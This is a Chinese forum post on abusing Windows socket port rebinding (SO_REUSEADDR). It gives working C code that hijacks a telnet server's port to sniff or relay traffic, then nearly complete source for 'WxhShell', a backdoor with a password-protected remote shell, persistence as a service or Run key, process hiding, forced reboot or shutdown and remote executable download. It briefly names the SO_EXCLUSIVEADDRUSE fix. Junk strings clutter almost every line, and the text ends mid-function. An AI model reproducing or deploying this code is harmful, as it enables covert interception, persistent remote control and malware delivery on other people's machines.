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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &Q>tV+*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )tD[Ffvr  
c1wP/?|.>  
  saddr.sin_family = AF_INET; FG6bKvEQm^  
wuV*!oefo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ULJV  
Ch;wvoy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c*@#0B  
fDzG5}i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^W*T~V*8  
&yabxl_  
  这意味着什么?意味着可以进行如下的攻击: } vzNh_  
C3hQT8~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >Av[`1a2F  
p-S&Wq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  45qSt2  
G9YfJ?I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f)b+>!  
Dus [N< w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A@?Rj  
j{`C|zg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }j_2K1NS{  
[2l2w[7Rid  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Osk'zFiL<  
WxrG o o^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `Vf k.OP  
gx55.}  
  #include nF#1B4b>  
  #include aQTISX;  
  #include d siQ~ [   
  #include    K!cLEG!G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;WqWD-C  
  int main() vUNmN2pRJ  
  { )UoF*vC(  
  WORD wVersionRequested; ib,BYFKEW  
  DWORD ret; fK?/o]vq  
  WSADATA wsaData; zF([{5r[!)  
  BOOL val; o]jPG  
  SOCKADDR_IN saddr; ?r}'0dW  
  SOCKADDR_IN scaddr; Ob~7r*q  
  int err; bZKlQ<sI  
  SOCKET s; "N*bV  
  SOCKET sc; ~M !9E])  
  int caddsize; Y;uQq-CP  
  HANDLE mt; Z6S?xfhr'{  
  DWORD tid;   ;iq58.  
  wVersionRequested = MAKEWORD( 2, 2 ); xk/osbKn  
  err = WSAStartup( wVersionRequested, &wsaData ); VHbQLJ0  
  if ( err != 0 ) { N,?4,+Hc-  
  printf("error!WSAStartup failed!\n"); hUo}n>Aa  
  return -1; v|K'M,E  
  } 5Kw$QJ/  
  saddr.sin_family = AF_INET; D00v"yp%%  
   K K_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /]@1IC{Lk  
Q/2(qD; u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -KA Y  
  saddr.sin_port = htons(23); KccIYn~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i .GJO +K  
  { 4Y/kf%]]A  
  printf("error!socket failed!\n"); [/+}E X  
  return -1; t)__J\xF  
  } Ui43&B  
  val = TRUE; N0POyd/rL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &9ZrZ"]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y~'h/tjM@=  
  { U{[ g"_+~  
  printf("error!setsockopt failed!\n"); "+{>"_KV  
  return -1; M. o}?  
  } # ^q87y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t"Tv(W?_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :g~X"C1s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PZ[hH(EX  
DKnlbl1^?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rQLl[a  
  { 02RZ>m+  
  ret=GetLastError(); CUI\:a-   
  printf("error!bind failed!\n"); ^lP;JT?  
  return -1; U-6pia /o  
  } 62D UF  
  listen(s,2); j-%@A`j;  
  while(1) q,% lG$0v  
  { )xxpO$  
  caddsize = sizeof(scaddr); \ y}!yrQ  
  //接受连接请求 B ?%g@d-;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O}Mu_edM  
  if(sc!=INVALID_SOCKET) Tfow_t}\  
  { Pz77\DpFi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BufXnMh.  
  if(mt==NULL) ;RUod .x  
  { QMQ\y8E  
  printf("Thread Creat Failed!\n"); r Y#^C  
  break; ^NB\[ &  
  } 9,J^tN@^  
  } 0 YA  
  CloseHandle(mt); fP>~ @^  
  } _@L{]6P%V  
  closesocket(s); $O[$<D%H  
  WSACleanup(); =6Q\78b  
  return 0; $s S;#r0  
  }   sL",Ho  
  DWORD WINAPI ClientThread(LPVOID lpParam) P ?A:0a  
  { VoG:3qN  
  SOCKET ss = (SOCKET)lpParam; 69iY)Ob/  
  SOCKET sc; cME|Lg(J$  
  unsigned char buf[4096]; y{k65dk-  
  SOCKADDR_IN saddr; `"s*'P398  
  long num; VNT*@^O_=  
  DWORD val; vAt ]N)R  
  DWORD ret; Pu0 <Clh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~zO>Q4-k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {"vTaY@  
  saddr.sin_family = AF_INET; Bbj%RF2,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *m6h(8(7Z  
  saddr.sin_port = htons(23); rUxjm\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) < pWk   
  { 4m"6$  
  printf("error!socket failed!\n"); 'wT !X[jF  
  return -1; EFdo-.Ax  
  } CY</v,\:#  
  val = 100; S-2@:E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vhE^jS<Tg  
  { n1    
  ret = GetLastError(); Usl963A#'F  
  return -1; A3s-C+@X  
  } HS@ EV iht  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E(p#Je|@[  
  { - U Elu4n&  
  ret = GetLastError(); ejh0Wfl  
  return -1; z~($ "  
  } AO~f=GW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k%Wj+\93 f  
  { iyJx~:  
  printf("error!socket connect failed!\n"); 6 qK`X  
  closesocket(sc); MG-#p8  
  closesocket(ss); ojG;[@V  
  return -1; K'f`}y9  
  } G<W;HMj2  
  while(1) m'PU0x  
  { T8W;Lb9hQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _L% =Q ulu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pZ)N,O3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FByA4VxB  
  num = recv(ss,buf,4096,0); (TTS-(  
  if(num>0) iPCDxDLN3V  
  send(sc,buf,num,0); xtFGj,N  
  else if(num==0) a\ZNNk  
  break; c1sVdM}|  
  num = recv(sc,buf,4096,0); Xx?~%o6  
  if(num>0) Msst:}QY  
  send(ss,buf,num,0); t b>At*tO  
  else if(num==0) FI8 vABq  
  break; nw,XA0M3  
  } P<C=9@`!  
  closesocket(ss); mkuK$Mj  
  closesocket(sc); N!%[.3o\K  
  return 0 ; n`.JI(|  
  } ^R h`XE  
=Q~@dP  
0Z1';A3  
========================================================== Id^)WEK4  
&HB!6T/  
下边附上一个代码,,WXhSHELL | {Tq/  
`DS7J\c$  
==========================================================  %X* *(  
FjV)QP H  
#include "stdafx.h" V/Q/Ujgg  
VM}7 ~  
#include <stdio.h> ;:1o|>mX  
#include <string.h> c|s7 cG$+-  
#include <windows.h> i)q8p  
#include <winsock2.h> E(!b_C&  
#include <winsvc.h> :6jh*,OHZl  
#include <urlmon.h> :kKdda<g#  
@ MKf$O4K  
#pragma comment (lib, "Ws2_32.lib") h|%a}])G)  
#pragma comment (lib, "urlmon.lib") zGtv(gwk  
nduUuCIY.  
#define MAX_USER   100 // 最大客户端连接数 :$Xvq-#$|  
#define BUF_SOCK   200 // sock buffer '1"vwXJ"  
#define KEY_BUFF   255 // 输入 buffer v(P5)R,  
@kWRI*m  
#define REBOOT     0   // 重启 z#*> u  
#define SHUTDOWN   1   // 关机 KD`*[.tT  
R q`j|tY  
#define DEF_PORT   5000 // 监听端口 G]zyx"0Sqb  
&P&VJLAe  
#define REG_LEN     16   // 注册表键长度 cvVv-L<[S`  
#define SVC_LEN     80   // NT服务名长度 D}~uxw;[^  
!W/"Z!k  
// 从dll定义API ^4Tf6Fw#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v2Vmcc_]9x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >4&0j'z"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DCKH^J   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M \UB r4  
Pos(`ys;  
// wxhshell配置信息 h9kwyhd"  
struct WSCFG { \49s;\I]  
  int ws_port;         // 监听端口 "sYZ3  
  char ws_passstr[REG_LEN]; // 口令 Xbu P_U'  
  int ws_autoins;       // 安装标记, 1=yes 0=no >Xi/ p$$7u  
  char ws_regname[REG_LEN]; // 注册表键名 UsgrI>|l  
  char ws_svcname[REG_LEN]; // 服务名 lf\x`3Vd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LnPG+<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^@f.~4P*I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &AnWMFo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p^)w$UL}}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'fPDODE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u]Z;Q_=  
^{a_:r"  
}; zs.@=Z"  
H;MyT Vl  
// default Wxhshell configuration `r]C%Y4?  
struct WSCFG wscfg={DEF_PORT, -5Oy k,  
    "xuhuanlingzhe", Ff1!+P,  
    1, 8'M:uI  
    "Wxhshell", {a0yHy$H  
    "Wxhshell", IXpn(vX  
            "WxhShell Service", zy`T! $  
    "Wrsky Windows CmdShell Service", r3 dGXiu  
    "Please Input Your Password: ", o>HU4O}  
  1, \V T.bUs  
  "http://www.wrsky.com/wxhshell.exe", hA1p#  
  "Wxhshell.exe" -tA_"q'^  
    }; Mc{-2  
z) x.6  
// 消息定义模块 "KgNMNep  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;KgDVq5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G7%f| Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]]P@*4!  
char *msg_ws_ext="\n\rExit."; 4"veqrC  
char *msg_ws_end="\n\rQuit."; ` <u2 N  
char *msg_ws_boot="\n\rReboot..."; ?\$6"c<G  
char *msg_ws_poff="\n\rShutdown..."; 6w~Cyu4Ov  
char *msg_ws_down="\n\rSave to "; ajW2HH*9}A  
?5;N=\GQ  
char *msg_ws_err="\n\rErr!"; 40G'3HOp  
char *msg_ws_ok="\n\rOK!"; zEt!Pug  
.Nk5W%7]=  
char ExeFile[MAX_PATH]; 1Gy [^  
int nUser = 0; #^{%jlmHxJ  
HANDLE handles[MAX_USER]; /[A#iTe  
int OsIsNt; P=.~LZZ]89  
9.BgsV .  
SERVICE_STATUS       serviceStatus; R>B6@|}?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kK:U+`+  
e~geBlLar  
// 函数声明 o4jh n[Fx  
int Install(void); zUq(bD  
int Uninstall(void); Qna*K7kv  
int DownloadFile(char *sURL, SOCKET wsh); x@3cZd0j#  
int Boot(int flag); EiVVVmm!  
void HideProc(void); P!I Lji!  
int GetOsVer(void); Q/0oe())  
int Wxhshell(SOCKET wsl); 1A[(RT]  
void TalkWithClient(void *cs); VfwH:  
int CmdShell(SOCKET sock); S6Y:Z0  
int StartFromService(void); $\q.Zb  
int StartWxhshell(LPSTR lpCmdLine); ueEf>0  
1024L;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e*Y<m\*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &+3RsIl W  
H5*#=It  
// 数据结构和表定义 10xza=a  
SERVICE_TABLE_ENTRY DispatchTable[] = a(LtiO  
{ ,(&Fb~r]  
{wscfg.ws_svcname, NTServiceMain}, <[K3Prf C  
{NULL, NULL} @`ii3&W4  
}; Dus!Ki~8(t  
0lV;bVa%  
// 自我安装 Mh MXn;VKj  
int Install(void) fL*+[v4  
{ }<zbx*!  
  char svExeFile[MAX_PATH]; S gssNv  
  HKEY key; )Y6\"-M[  
  strcpy(svExeFile,ExeFile); {yDQncq'^  
Z5 7.+z<  
// 如果是win9x系统,修改注册表设为自启动 YFDOp *  
if(!OsIsNt) {  DTa!vg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 11c\C Iu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >!Xj%RW  
  RegCloseKey(key); _mJhY0Oc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6s'n r7'0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YRMe<upo  
  RegCloseKey(key); 'bsHoO  
  return 0; C DoD9Hq,  
    } nw_s :  
  } L4Kg%icz l  
} 6)BPDfU,  
else { o2cc3`*8d  
T 2_iH=u  
// 如果是NT以上系统,安装为系统服务 ?#Y:2LqPC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xpp v  
if (schSCManager!=0) Uf MQ?(,  
{ CM%;/[WBxy  
  SC_HANDLE schService = CreateService (UCCEQq5  
  ( jFip-=T{4  
  schSCManager,  e<(6x[_  
  wscfg.ws_svcname, o1"N{ Eu  
  wscfg.ws_svcdisp, %hlgLM  
  SERVICE_ALL_ACCESS, sVGQSJJ5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yFS{8yrRUU  
  SERVICE_AUTO_START, H_Xk;fM  
  SERVICE_ERROR_NORMAL, uUV"86B_  
  svExeFile, 'oH3|  
  NULL, eoXbZ  
  NULL, A}}dc:$C  
  NULL, 6nR EuT'k  
  NULL, 3SI0etVr  
  NULL 5SZa, +]  
  ); f( Dtv  
  if (schService!=0) 3rd8mh&l  
  { W;l0GxOxQ  
  CloseServiceHandle(schService); Ke=+D'=  
  CloseServiceHandle(schSCManager); 6kMkFZ}+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \ \Tz'>[\  
  strcat(svExeFile,wscfg.ws_svcname);  D[}^G5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f/s"2r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UR9\g(  
  RegCloseKey(key); ,7k-LAA  
  return 0; zG8g}FrzG;  
    } NqGSoOjIO2  
  } O&&_)  
  CloseServiceHandle(schSCManager); ~<~ ~C#R  
} 74N3wi5B  
} Z`86YYGK  
TI\xCIH  
return 1; ?>iUz.];t  
} /h{Rf,H  
U=7nz|  
// 自我卸载 q VI0?B x  
int Uninstall(void) =9W\;xE S  
{  rV4K@)~  
  HKEY key; t72rCq QC  
KU*aJl_n,  
if(!OsIsNt) { k<M Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7S^G]g!x  
  RegDeleteValue(key,wscfg.ws_regname); 8qaU[u&$  
  RegCloseKey(key); SH#*Lc   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -(>Ch>O  
  RegDeleteValue(key,wscfg.ws_regname); FvYciU!  
  RegCloseKey(key); a s('ZD.9  
  return 0; L &hw- .Q  
  } >fth iA  
} )B)f`(SA"<  
} t1"#L_<e  
else { 8UXRM :Z"  
M_-L#FHX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K#AexA  
if (schSCManager!=0) &:IcwD&  
{ E/*&'Osq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (x?Tjyzw  
  if (schService!=0) 9thG4T8  
  { psc Fb$b  
  if(DeleteService(schService)!=0) { i;s;:{cn  
  CloseServiceHandle(schService); kU=U u>  
  CloseServiceHandle(schSCManager); m(}}%VeR"z  
  return 0; Gk/cP`  
  } HZ2W`wo  
  CloseServiceHandle(schService); {:#nrD"  
  } >iRkhA=Vg  
  CloseServiceHandle(schSCManager); ,|}mo+rb-  
} V=% ;5/  
} __FEdO  
yN0`JI  
return 1; y22DBB8  
} GN9kCyPK  
a@ <-L  
// 从指定url下载文件 %+Y wzL{  
int DownloadFile(char *sURL, SOCKET wsh) ?@;)2B|q  
{ Z<^!N)  
  HRESULT hr; ,W|-?b?   
char seps[]= "/"; 02trjp.f  
char *token; B>m*!n: l  
char *file; '21gUYm  
char myURL[MAX_PATH]; )wCNLi>4  
char myFILE[MAX_PATH]; T_=WX_h $  
)7.DF|A  
strcpy(myURL,sURL); 3Jt# Mp  
  token=strtok(myURL,seps); vJ=Q{_D=\  
  while(token!=NULL) CswKT 9  
  { \q4r/SbgW  
    file=token; ' |B3@9<  
  token=strtok(NULL,seps); <F(2D<d{;)  
  } f,Dic%$q  
 X(X[v]  
GetCurrentDirectory(MAX_PATH,myFILE); ,Kl?-W@  
strcat(myFILE, "\\"); X-kOp9/.  
strcat(myFILE, file); m&gB;g3:  
  send(wsh,myFILE,strlen(myFILE),0); ]d@>vzCO  
send(wsh,"...",3,0); 6hv.;n};  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R3l{.{3p2  
  if(hr==S_OK) zxCx2.7  
return 0; $7c,<=  
else 3\Q9>>  
return 1; /e?0Iv" 8>  
:v;U7  
} ~IjID  
_p+E(i 9  
// 系统电源模块 )7NI5x^$  
int Boot(int flag) $--+M D29Q  
{ 5B4/2q=  
  HANDLE hToken; h]k $K  
  TOKEN_PRIVILEGES tkp; h_S>Q  
L YF|  
  if(OsIsNt) { P/|1,S k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <Nqbp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {.jW"0U  
    tkp.PrivilegeCount = 1; Y$\|rD^f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; matna  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X(MS!RV  
if(flag==REBOOT) { '!8-/nlv1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ],S {?!'1  
  return 0; F]?] |nZZ  
}  =g M@[2  
else { 3oMHy5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZIc.MNq  
  return 0; S7Ty}?E@  
} Ec3tfcNhR  
  } kDWEgnXK,v  
  else { p^|l ',e  
if(flag==REBOOT) { ,&WwADZ-s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =urGs`\  
  return 0; vQK/xg  
} bIyg7X)/  
else { 7g(Z @  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (BeJ,K7  
  return 0; 6`@J=Q?  
} *|dK1'Xr  
} BDWbWA 6  
'u;O2$  
return 1; _3yG<'f[Y  
} QO(F%&v++  
!p/?IW+  
// win9x进程隐藏模块 !=,Y=5M,  
void HideProc(void) S* O. ?  
{ 9tPRQ M7  
I*3}erT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z_fjmqa?  
  if ( hKernel != NULL ) _7<{+Zzm  
  { jxkjPf?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SnmUh~`L~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a~$Y;C_#<  
    FreeLibrary(hKernel); bC1G5`v_D  
  } !LwHKCj  
Gw$5<%sB  
return; ~<n.5q%Z  
} #Ir?v  
0O>ClE~P  
// 获取操作系统版本 R8Vf6]s_  
int GetOsVer(void) Q'jw=w!|g  
{ n@p@ @  
  OSVERSIONINFO winfo; ={zTQ+7S`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); > ]^'h  
  GetVersionEx(&winfo); uI/ wR!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qrlC U4  
  return 1; 9DNp  
  else tj[E!  
  return 0; &~Hed_  
} !EhKg)y=  
3wq<@dRv4  
// 客户端句柄模块 ngl +`|u  
int Wxhshell(SOCKET wsl) d9M[]{  
{ Pa{  
  SOCKET wsh; f(Of+>   
  struct sockaddr_in client; ' 1gfXC  
  DWORD myID; Wq1 jTIQ  
6~x'~T  
  while(nUser<MAX_USER) 2]]v|Z2M4  
{ KddCR&  
  int nSize=sizeof(client); _o$jk8jOjW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~! -JN}H m  
  if(wsh==INVALID_SOCKET) return 1; ~ $g:  
XAU%B-l:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QE\ [ EI2  
if(handles[nUser]==0) ?Z7QD8N  
  closesocket(wsh); Tz,9>uN  
else }Pg}"fb^  
  nUser++; m"iA#3l*=  
  } #Or;"}P>fB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _NsEeKU  
VE|l;aXi  
  return 0; '% QCNO/  
} LnI  
rQVX^  
// 关闭 socket +SH{`7r  
void CloseIt(SOCKET wsh) d}h{#va*  
{ dWvVK("Wj  
closesocket(wsh); RDp  
nUser--; (O5Yd 6u  
ExitThread(0); rm,`M  
} W8^m-B&  
WR"D7{>tw  
// 客户端请求句柄 YOD.y!.zq7  
void TalkWithClient(void *cs) [7FG;}lB-  
{ ]$@D=g,r  
w#|L8VAh  
  SOCKET wsh=(SOCKET)cs; `.W2t5 Y  
  char pwd[SVC_LEN]; 67II9\/  
  char cmd[KEY_BUFF]; + O.-o/  
char chr[1]; $s/E } X  
int i,j; ,KW Q 6  
9qB0F_xl  
  while (nUser < MAX_USER) { LKu\Mh|  
S%i^`_=Q  
if(wscfg.ws_passstr) { [8i)/5D4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &vp KBR ^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \g39>;iR  
  //ZeroMemory(pwd,KEY_BUFF); MIrx,d  
      i=0; rGyAzL]  
  while(i<SVC_LEN) { P2-&Im`+  
Hsf::K x  
  // 设置超时 _5jT}I<k  
  fd_set FdRead; /uwi$~Ed  
  struct timeval TimeOut; >%j%Mj@8q|  
  FD_ZERO(&FdRead); J~k9jeq9  
  FD_SET(wsh,&FdRead); 5 8bW  
  TimeOut.tv_sec=8; v 3I^81  
  TimeOut.tv_usec=0; \!-BR0+y;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "+F'WCJ-(*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (jM0YtrD  
[>O!~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?l0Qi  
  pwd=chr[0]; YA4D?'  
  if(chr[0]==0xd || chr[0]==0xa) { T }}2J/sj  
  pwd=0; '+PKGmRW  
  break; 5`QcPDp{z  
  } 'u7-Qetj  
  i++; j~Aq-8R=  
    } !*N9PUM  
AG N/kx  
  // 如果是非法用户,关闭 socket t~) P1Lof\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'r?ULft1  
} ~zqb{o^pT  
?l0eU@rwQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E7:xPNU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iux3f+H  
@Jzk2,rI  
while(1) { +xFn~b/  
*; o%*:  
  ZeroMemory(cmd,KEY_BUFF); $.SBW=^V  
\#{PV\x:Nn  
      // 自动支持客户端 telnet标准   @NiuT%#c  
  j=0; \CL8~  
  while(j<KEY_BUFF) { ANM#Kx+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ax;[Em?I  
  cmd[j]=chr[0];  ?Y(  
  if(chr[0]==0xa || chr[0]==0xd) { H3A$YkK [  
  cmd[j]=0; 2r, c{Ah@D  
  break; UlYFloZ  
  } @r TB&>`  
  j++; m@td[^O-  
    } =RQF::[h  
`\kihNkJn3  
  // 下载文件 a5 D|#9  
  if(strstr(cmd,"http://")) { G,u=ngZ]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %71i&T F  
  if(DownloadFile(cmd,wsh))  \i%'M%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~v6K}`}  
  else i5VZ,E^E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )6OD@<r{  
  } ?[ xgt )  
  else { Hr|f(9xA  
<^5!]8*O  
    switch(cmd[0]) { D}_.D=)  
  5R7x%3@L  
  // 帮助 -NBVUUAgN  
  case '?': { ge~@}&#iO@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .H" ?& Mf  
    break; AUnfhk@$  
  } 8tj]@GE  
  // 安装 [C'bfX5HB5  
  case 'i': { 2c `m=  
    if(Install()) wPlM= .Hq?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jm}CrqU  
    else QJ|@Y(KV0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ipp_}tl_  
    break; H+v&4}f  
    } &."$kfA+  
  // 卸载 sh<Q2X  
  case 'r': { IPQRdBQ  
    if(Uninstall()) mq`/nAmt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6_CP?X+T  
    else Npp YUY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ov6xa*'a  
    break; sy: xA w  
    } &@0~]\,D7  
  // 显示 wxhshell 所在路径 n5:uG'L\  
  case 'p': { 5S~ H[>A"  
    char svExeFile[MAX_PATH]; z$~x 2<  
    strcpy(svExeFile,"\n\r"); F9K%f&0 a  
      strcat(svExeFile,ExeFile); $R9D L^iD  
        send(wsh,svExeFile,strlen(svExeFile),0); gjS|3ED  
    break; '!HTE` Aj  
    } po| Ux`u  
  // 重启 `2lS@  
  case 'b': { n6/Ous  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WyN ;lId  
    if(Boot(REBOOT)) 0dch OUj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kpm;ohd  
    else { >Bt82ibN  
    closesocket(wsh); Xka REE  
    ExitThread(0); NkZG   
    } bZqTT~'T  
    break; J=g)rd[`  
    } O2w-nd74U  
  // 关机 zF1!a  
  case 'd': { pv_o4qEN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3:J>-MO  
